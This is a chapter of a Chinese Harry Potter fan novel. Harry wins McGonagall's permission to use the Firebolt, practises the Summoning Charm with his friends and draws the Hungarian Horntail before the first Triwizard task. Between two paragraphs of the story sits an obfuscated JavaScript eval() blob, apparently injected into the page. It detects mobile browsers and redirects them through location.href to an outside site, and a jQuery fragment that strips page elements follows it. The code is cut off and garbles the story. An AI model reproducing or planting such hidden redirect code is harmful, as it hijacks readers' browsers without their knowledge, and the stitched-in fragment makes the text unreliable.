120.抽签之时
作品:《HP同人霍格沃茨上学指南》 当天傍晚的霍格沃茨,天际线泛起墨蓝与暗金交织的潮汐。城堡西侧窗口正对着苏格兰高地绵延的荒原,最后一缕日光像沉入深潭的金箔,在水晶窗棂上拖出细长的光痕。
哈利站在麦格教授办公室门外,手掌心微微出汗,抬手敲了敲门。
“进来。”
声音干脆利落,像剪刀裁开羊皮纸。
麦格教授的办公室比寻常教授的更简洁。墙上没有会动的肖像,只有几幅精心装裱的变形术原理图解。书桌纤尘不染,墨水瓶、羽毛笔、文件筐排列成严格的直角。炉火在壁炉里燃烧得节制而稳定,火光将麦格教授挺直的背影投在橡木墙板上,像一座移动的堡垒。
她正在批改一堆论文,羽毛笔尖悬在半空,抬起头时眼镜后的目光锐利如常。
“波特先生?今天是周末,我想你来不是为了课堂作业的问题。”
“不是,教授。”哈利走进房间。办公室里的空气有种奇特的洁净感,带着纯粹的羊皮纸、墨水和旧木头的气息,“我需要申请使用火弩箭,作为应对比赛的一部分。”
麦格教授推了推眼镜,放下羽毛笔,双手交叠放在桌面上。姿态一如既往,带着严肃、公正、不容置疑。
“火弩箭。”她重复这个词,声音里没有任何情绪起伏,“那把目前存放在霍琦夫人扫帚储藏室特别保管区的扫帚。三强争霸赛第一项任务下周一开始,波特先生。你选择在这个时间点提出申请,想必有充分的理由。”
哈利知道麦格教授在说什么。火弩箭——小天狼星·布莱克的礼物,太显眼了——不仅是它的性能,更是它的价值。
“我需要它,教授。”哈利尽量让自己的声音听起来沉稳,“飞行是我目前能想到的唯一有把握的策略。”
麦格教授点点头,开口道,“火弩箭不是普通扫帚,波特先生。它是目前速度最快、魔力响应最极端的型号,未经充分训练的人驾驭它,本身就是一项危险挑战。”
“我可以证明我能操控它。”哈利立刻说,“现在就可以。球场还亮着,我可以——”
“我看过你每一场魁地奇比赛,你的飞行技术毋庸置疑。”麦格教授打断他,“但我要提醒你,波特先生,三强争霸赛不是魁地奇。”
哈利感到喉咙发紧。他知道麦格教授说得对,但他没有别的选择。
“教授,”他的声音低了些,“这是我现在唯一能想到的、有机会成功的方案。”
办公室里安静了几秒。炉火噼啪响了一声,火光在麦格教授的镜片上跳跃。
麦格教授盯着他看了一会儿。久到墙上的挂钟指针又走过了两格,发出轻微的咔嗒声。
“好吧。”她最终说,从抽屉里取出一份羊皮纸,“但我的条件是:每天只有三个小时,使用完后按时存储于霍琦夫人处,项目结束后立即归还。此外——”
她从桌上拿起羽毛笔,在羊皮纸上补充了几行字。
“——你必须证明你在高压环境下能安全操控它。这不是魁地奇比赛。取完扫帚后,去球场。我给你二十分钟。”
哈利的心跳加快了:“现在?”
“现在。”麦格教授站起身,从衣架上取下斗篷,“天还没完全黑,光线足够。我在球场等你。”
走廊在周六傍晚显得格外空旷。画像里的人物大多在享用“晚餐”或打盹,只有几个特别八卦的肖像在哈利经过时抬起头,交换着窃窃私语。
霍琦夫人的扫帚储藏室在一楼,靠近城堡大门。储藏室本身不大,但里面的架子延伸到看不见的天花板深处,每一把扫帚都躺在天鹅绒衬里的专用槽里,像博物馆的展品。火弩箭的保管区在最里面,用一道透明的魔法屏障隔开。
霍琦夫人正在整理一箱磨损的光轮系列尾枝,看到哈利进来,她擦了擦手上的保养油。
“波特?这个时间点——”
“麦格教授签署的临时许可。”哈利递上羊皮纸,“我需要火弩箭。”
霍琦夫人接过许可,仔细阅读了每一个字,尤其是麦格教授补充的测试条款。她抬头看了哈利一眼,混合着职业性的谨慎,和一丝几乎察觉不到的担忧。
“好好使用它。”她一边用钥匙打开魔法屏障,一边说。
霍琦夫人从保管槽里取出火弩箭的红木长匣。打开时,扫帚在昏暗的光线下泛着温润的暗红色光泽,像某种沉睡的猛兽。“火弩箭的魔力回路比普通扫帚精细十倍。过度施力会损伤核心,太温和又无法完全激活速度。你得找到那个平衡点。”
她小心地把扫帚递给哈利。哈利能感觉到那种潜在的、蓄势待发的力量感。
霍琦夫人最后说,“记住。活着比通过比赛重要。”
从储藏室到球场的一小段路,哈利走得很快。冬夜的寒风刺骨,但抵不过他内心的迫切。
麦格教授已经等在了球场边。她披着一件深色的旅行袍,站在泛着白霜的草皮上,像一座沉默的哨塔。弗立维教授也在,矮小的身影裹在厚厚的毛皮里,手里拿着一个闪闪发光的计时器。
“开始吧,波特先生。”麦格教授的声音在空旷的球场里格外清晰,“展示你所说的‘操控’。”
接下来的二十分钟,是哈利经历过的最严苛的飞行测试。
弗立维教授用魔法召唤出十几个高速移动的彩色光球,从各个方向袭向哈利——模拟咒语攻击。麦格教授则不时挥动魔杖,在哈利预定的飞行路线上突然升起一道石墙或一片冰雾——模拟突发障碍。球场内被施了强风咒,紊乱的气流让火弩箭像暴风雨中的海燕,需要骑手用全部的精力和肌肉记忆去对抗。
哈利几乎用上了魁地奇比赛中积累的所有技巧:急速俯冲后拉高以规避“咒语”,在石墙出现的瞬间做出违反直觉的直角变向,利用冰雾的边缘做掩护,在狂风中保持扫帚核心的稳定……汗水很快浸湿了他的训练袍,冷风一吹又结成冰碴,但他握着扫帚柄的手稳如磐石。
当弗立维教授停止发射光球,麦格教授放下魔杖时,哈利缓缓降落在他们面前,胸膛起伏,呼出的白气在夜色中蒸腾。
麦格教授盯着他看了几秒,又和弗立维教授交换了一个眼神。弗立维教授尖声说:“反应时间平均0.8秒,规避成功率92%,扫帚操控稳定性足以评价为优秀,米勒娃!”
“可以了。”麦格教授最终说,脸上的严肃似乎缓和了一丝,“记住这种感觉,波特先生。真正的赛场只会比这更混乱。现在,去和你的朋友们做最后的准备吧。”
回城堡的路上,天色完全黑了。走廊里亮起的火把将哈利的影子投在石墙上,拉长,扭曲,像某种不安的预兆。
经过三楼挂毯区时,几个拉文克劳学生从图书馆回来,看到哈利怀里的红木长匣,眼睛都瞪大了。
“那是火弩箭的匣子?”一个五年级男生小声问同伴。
“梅林啊,他要用那个比赛……”
窃窃私语像细小的波纹,在走廊里扩散。哈利加快脚步,拐进通往有求必应屋的那条偏僻走廊。
他停在巨怪棒打傻巴拿巴的挂毯对面,赫敏、罗恩、Eva、帕德玛、曼蒂和丽莎都已经等在挂毯对面的走廊里。
“我们猜你会来。”看到哈利抱着火弩箭匣子出现,赫敏立刻迎了上去,“麦格教授同意了?”
“同意了。”哈利点头,但眉头微皱,“但还需要大量的练习……”
哈利看向朋友们,他们脸上都是关切和期待。他深吸一口气,走到那段空墙前,集中意念:需要一个能练习召唤咒、能安全测试火弩箭、能容纳多人讨论的空间……
一扇光滑的门浮现出来。
哈利推开门,里面的景象让所有人都愣了一下。
有求必应屋变成了一个宽敞的空间——一个室内魁地奇训练场。天花板高得看不见顶,几盏魔法灯笼悬浮在半空,投下柔和的光线。
“这地方比我们练习铁甲咒的时候还大!”罗恩率先走进去,目光却很快又回到哈利手中的匣子上。
赫敏抱着一本刚从图书馆借来的《高级召唤咒理论与实践》进来。帕德玛、曼蒂和丽莎席地而坐,从书包里拿出羊皮纸和哈利之前手绘的简陋场地示意图。
Eva最后一个走进来,轻轻带上门,目光扫过整个房间,最后落在哈利手中的扫帚上,在帕德玛他们边上坐下,拿起一张空白羊皮纸和羽毛笔,准备记录。
哈利将匣子放在地上,打开铜扣。火弩箭静静躺在天鹅绒衬里中,暗红色的木柄在室内光线下沉静地流转着光泽。
罗恩几乎是屏着呼吸凑近了一点。“它看起来……还是那么棒。”他小声说,手指动了动,似乎在克制自己想摸上去的冲动,“说真的,后天你用它比赛,光想想就够酷了。”
哈利打开匣子,拿出扫帚,“现在的问题是——我怎么在入场后立刻拿到它。扫帚到时候会在霍琦夫人那。场地入口离储藏室至少两百米,中间还隔着三层楼。”
“所以你需要练习超视距召唤。”赫敏翻开手里那本与召唤咒相关的书说,“根据咒语生效距离与障碍物穿透性研究,标准召唤咒在无障碍环境下最大有效距离约一百五十米。但如果有墙壁和魔法屏障阻挡,实际有效距离会急剧缩短,通常很难超过一百米。这还假设目标物品没有额外的防窃咒。”
“而且火弩箭被施了保护咒。”赫敏补充,“霍琦夫人肯定加了防窃咒和定位咒,这会让召唤更困难。”
“但火弩箭和哈利之间有独特的魔力联系。”Eva轻声补充,笔尖在羊皮纸上停了一下,“每次魁地奇比赛前,扫帚都需要和骑手进行魔力调谐。长期使用会让这种联系远超普通物品。或许……这会成为突破常规限制的一个变数。”
“先从简单的练习开始。”哈利点点头,把火弩箭放在房间另一头,距离大约三十米。
第一次尝试,他举起魔杖:
“火弩箭飞来!”
扫帚动了动,但没有飞起来。它在地上摩擦了几英寸,然后就停住了。
“魔力输出不够稳定。”Eva在羊皮纸上记录,“尾音有颤抖,魔力波纹在第三秒出现衰减。”
第二次,哈利深呼吸,尽量让声音平稳:
“火弩箭飞来!”
这次扫帚升空了,但飞得歪歪扭扭,像喝醉了酒。在飞到一半距离时突然失去动力,“啪”地掉在地上。
帕德玛分析,“你的潜意识里在担心障碍物,虽然房间里没有,但你担心墙壁,担心距离,担心失败。这些杂念会影响咒语精度。”
第三次,第四次,第五次……
扫帚时而飞得太快撞上墙壁,时而飞得太慢中途坠落,时而完全没反应。哈利的手臂因为反复举杖而发酸,喉咙因为一次次喊咒语而干涩。
“休息一下。”Eva羽毛笔在羊皮纸上划过,总结道,“你在用力,但没用‘心’。”
“心?”哈利声音有些哑。
“想想你最需要这把扫帚的时刻。”Eva说,“不是现在,不是在房间里练习。是后天,在场地里,龙在你面前,金蛋在巢穴里。那时候你需要什么?”
哈利闭上眼睛。
画面浮现:火龙喷出的火焰,巨大的身躯,坚硬的鳞甲,金蛋的反光……
还有每次跨上扫帚时,那种奇异的、一切烦恼都暂时远离的平静。
飞行是他最擅长的事。是他少数能完全掌控的事。
“我需要……”哈利睁开眼睛,“我需要它成为我的一部分。像我的手,我的眼睛。”
他再次举起魔杖。这次没有喊咒语,只是凝视着房间另一头的火弩箭。
想象握住扫帚柄时掌心的温度,想象升空时气流托起身体的感觉,想象在高速中每一个细微操控带来的响应……
“来吧。”他轻声说。
魔杖尖端亮起柔和的白光。
房间另一头,火弩箭轻轻震颤,然后缓缓浮起。它没有歪扭,没有摇晃,像被无形的丝线牵引,平稳地、笔直地飞向哈利的手。
在距离还有一米时,哈利伸出手。
扫帚柄准确落入掌心。熟悉的魔力脉动传来,温暖,稳定,像老友重逢的握手。
房间里安静了几秒。
然后罗恩吹了声口哨:“梅林啊,这可比魔咒课帅多了。”
“成功了。”赫敏的声音里带着惊讶和兴奋,“但距离只有三十米。明天的实际距离至少几百米,还隔着墙壁和魔法屏障。”
“那就继续练。”哈利说,感觉胸口的石头松动了一些,“练到肌肉记忆,练到不需要思考。”
接下来的两个小时,七个人陪哈利练习。Eva负责记录每次施咒的魔力波动特征,帕德玛分析成功率与距离的关系,其他人们则模拟各种干扰——突然的声响,光线的变化,甚至故意在旁边讨论其他话题,测试哈利在分心状态下的召唤稳定性。
到晚上九点多,哈利能在一百米距离、有轻微干扰的情况下,十次成功召唤八次。
“还不够。”他喘着气说,汗水浸湿了训练袍的后背,“龙吼声比这大得多,火焰的热浪会扭曲空气,还有观众席的噪音——”
“但也会比现在更专注。”Eva说,“真正的危险会逼迫你集中全部注意力。那时候的召唤,可能比练习时更稳定。”
墙上的魔法钟指向九点半。
“该回去了。”哈利看了一眼时间,“火弩箭只有每天三个小时的使用时间。”
离开有求必应屋时,走廊里已经空无一人。火把在石墙上投下跳动的影子,远处传来皮皮鬼在某处捣蛋的嬉笑声,但很快被费尔奇的怒吼打断。
回扫帚储藏室的路上,哈利抱着火弩箭匣子,脚步比来时沉重,但心里多了一丝踏实。
他至少有了计划。
有了可能。
接下来的周日,哈利也早早地起来练习,由于火弩箭时间有限,改用别的可以召唤的东西。
第三天清晨,也就是比赛当天,天还没亮。
哈利在黑暗中睁开眼睛,盯着帷帐顶部的阴影。寝室里只有纳威规律的呼吸声,罗恩睡梦中的呓语声,迪安偶尔的翻身,西莫在梦里嘟囔着什么魁地奇战术。
他没有再睡。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252507|193567||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
六点半,他悄悄起床,穿上最简单的黑色训练袍。
七点不到,他下楼。公共休息室里空无一人,壁炉里的火已经熄灭,只剩灰烬。他坐在窗边的扶手椅里,对身边的物体练习着召唤咒,天色从墨蓝逐渐转为铁灰。
七点半,罗恩和赫敏下来了。两人看起来都没睡好,眼下有浓重的阴影。
“早餐?”罗恩问,声音干涩。
哈利摇摇头:“吃不下。”
“你必须吃点东西。”赫敏的语气是命令式的,“低血糖会影响施咒精度。厨房家养小精灵准备了容易消化的——”
“我晚点过去。”哈利站起来,“我先去霍琦夫人那儿看看,你们先去礼堂。”
“哈利——”罗恩想说什么。
“我没事。”哈利打断他,挤出一个笑容,又对赫敏说,“待会儿礼堂见。”
赫敏盯着他看了几秒,“好吧。我们待会见。”
罗恩走过来,笨拙地拍了拍哈利的肩膀,表示无声的安慰。
哈利点点头,转身离开。
周一早晨,学生们都往礼堂的方向走。哈利能感受到同学偶尔投来的好奇,同情,或者纯粹的看热闹的眼神。
霍琦夫人的扫帚储藏室已经开门了。她检查了火弩箭,然后看着哈利,表情严肃:“无论今天发生什么,波特,记住扫帚只是工具。活着回来的人才能成为真正的找球手。”
“谢谢您,夫人。”
从储藏室到礼堂的路,哈利走得很慢。走廊窗外的天空是铁灰色的,云层压得很低,预示着苏格兰高地典型的阴冷冬日。
经过二楼挂毯区时,他遇到了塞德里克·迪戈里。塞德里克正和几个赫奇帕奇的同学说话,看到哈利,他微微点头致意,脸上带着那种一贯的、令人安心的温和表情。哈利也点了点头,两人没有交谈,但那个短暂的瞬间里有一种无声的理解。
礼堂里已经坐了不少人。今日的早餐气氛不同寻常。拉文克劳长桌那边,Eva、帕德玛、曼蒂和丽莎坐在一起,正低声讨论着什么。看到哈利进来,Eva抬起眼,很轻地颔首。哈利也微微点头回应,然后走向格兰芬多长桌。
罗恩和赫敏给他留了位置。哈利坐下时,赫敏立刻推过来一杯热气腾腾的南瓜汁。
哈利强迫自己喝了几口南瓜汁。液体温暖地滑下喉咙,带来一丝真实的热量。罗恩在旁边安静地啃着自己的香肠,偶尔瞥哈利一眼,但没说话。这种沉默的支持反而让哈利觉得更踏实。
早餐快结束时,麦格教授沿着长桌走了过来。她停在哈利身边,声音平静但清晰:“波特先生,请到勇士准备区。其他三位勇士已经过去了。”
哈利站起身。罗恩和赫敏也跟着站起来。
“我们……”赫敏开口,却不知道能说什么。
“观众席见。”哈利说,声音比他预期的更稳。
他跟随麦格教授离开礼堂。穿过门厅时,他最后看了一眼那个燃烧着蓝色火焰的杯子——火焰杯静静地立在那里,仿佛这一切纷扰与它无关。
准备帐篷区设在城堡后方,靠近禁林边缘的空地上。四个颜色各异的帐篷在灰白天光下显得有些突兀。布斯巴顿的浅蓝色帐篷上绣着精致的纹章,德姆斯特朗的深红色帐篷厚重肃穆,赫奇帕奇的明黄色帐篷敞开着门帘,塞德里克的声音从里面隐约传出。
麦格教授将他带到最小的那个深红色帐篷前,帐篷上绣着格兰芬多的狮子,但刺绣有些仓促,线头还没修剪整齐。
“进去等候。巴格曼先生会来解释具体流程和抽签。”麦格教授顿了顿,目光扫过他怀里的匣子,“记住你练习过的一切,波特先生。”
“祝你好运。”麦格教授最后说,然后转身走向教授观察区,黑色斗篷在晨风中划出利落的弧线。
哈利深吸一口寒冷而清新的空气,掀开了帐篷的门帘。
里面比外面看起来宽敞。几张小桌,几把椅子,墙上挂着霍格沃茨的旗帜。角落里有水壶和杯子,还有一小盘饼干——显然没人动过。其他三位勇士已经在里面等待。他们朝新进来的人看了一眼。看到是波特又转过头继续做最后的调整,只有塞德里克朝他点头致意。哈利回应。
他坐在椅子上。外面传来模糊的人声,大概是观众陆续入场。
帐篷门帘被掀开。
卢多·巴格曼走进来,脸上挂着那种职业性的、过分灿烂的笑容。他今天穿着一身亮黄色的长袍,上面绣着飞舞的金色飞贼图案。
“哦!我的勇士们!准备好迎接人生中最刺激的一天了吗?”
勇士们面面相觑,都感受到了彼此的紧张。最后看向巴格曼先生,点点头。
“好极了!好极了!”巴格曼搓着手,“规则很简单——等会儿你们从这里出去,进入主场地。那里有一头龙,和它的巢穴。你们的任务是取走巢穴里的金蛋。只能用魔杖。”
他从怀里掏出一个小布袋,摇晃时发出清脆的碰撞声。
“抽签决定你们面对哪头龙。公平公正!女士优先——”
他把布袋递到芙蓉·德拉库尔面前。芙蓉优雅地伸出手,抽出一个模型。放在桌上后,它变成了一头体型较小、通体碧绿、有着短而钝的吻部的龙。
“威尔士绿龙!”巴格曼洪亮地宣布,“优雅的选择,德拉库尔小姐!它们以速度见长,相对……呃,脾气稍好一些。”
接着是威克多尔·克鲁姆。他面无表情地抽签,得到的是一条银蓝色、吻部短粗的龙模型。
“瑞典短鼻龙!”巴格曼说,“力量型!喷射的火焰非常集中,克鲁姆先生,需要精准的判断!”
然后是塞德里克·迪戈里。他抽出的是那条颈部有扇形骨板、鳞片红金相间的龙。
“中国火球龙!”巴格曼吹了声口哨,“漂亮但危险!那些骨板可不是装饰,迪戈里先生,小心它的冲刺和爆裂火球!”
最后,布袋递到哈利面前。
哈利把手伸进去。里面只剩下最后一个冰凉的小模型——他摸到的是带刺的尾巴。
他抽出那个模型。
放在桌上时,模型开始变大,直到变成一只巴掌大小的匈牙利树蜂雕塑。它甚至从鼻孔里喷出细微的火星,黄宝石眼睛闪着不善的光。
“哦!”巴格曼眨了眨眼,声音里的热情微妙地顿了一下,“匈牙利树蜂!公认最凶猛、最难对付的品种!尾巴上的尖刺能刺穿大多数防护……不过我相信你没问题,波特!年轻人总有出人意料的表现,不是吗?”
帐篷外传来第一声尖锐的哨响。
“德拉库尔小姐,你是第一个!”巴格曼看了一眼怀表,“五分钟后出场。其他人请在这里安静等待,调整状态。我会在解说台为你们加油!”
他朝众人露出一个鼓励的笑容,转身快步离开,黄色长袍像一面过于鲜艳的旗帜消失在门帘后。
帐篷里重新安静下来,只剩下越来越清晰的心跳声,和远处隐约传来的、观众入场的喧哗。四位勇士的目光落在各自面前的龙模型上,没有人说话。
真正的倒计时,开始了。

